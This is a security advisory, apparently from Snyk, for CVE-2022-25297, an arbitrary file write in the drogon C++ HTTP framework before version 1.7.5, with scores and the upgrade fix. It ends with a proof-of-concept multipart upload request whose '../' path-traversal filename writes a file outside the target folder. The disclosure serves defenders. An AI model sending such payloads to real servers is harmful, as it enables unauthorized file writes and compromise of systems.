Arbitrary File Write Affecting drogonframework/drogon package, versions [,1.7.5)
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
EPSS
0.26% (66th
percentile)
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Test your applications- Snyk ID SNYK-UNMANAGED-DROGONFRAMEWORKDROGON-2407243
- published 13 Feb 2022
- disclosed 13 Feb 2022
- credit Snyk Security Team
Introduced: 13 Feb 2022
CVE-2022-25297 Open this link in a new tabHow to fix?
Upgrade drogonframework/drogon to version 1.7.5 or higher.
Overview
drogonframework/drogon is a C++14/17-based HTTP application framework.
Affected versions of this package are vulnerable to Arbitrary File Write.
The unsafe handling of file names during upload using HttpFile::save() method may enable attackers to write files to arbitrary locations outside the designated target folder.
PoC by Snyk
Based on the file_upload example.
POST /upload_endpoint HTTP/1.1
Host: localhost:8848
Content-Length: 150
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
------xxx
Content-Disposition: form-data; name="file"; filename="../../../../../../malicious-file"
Content-Type: text/plain
pwned
------xxx--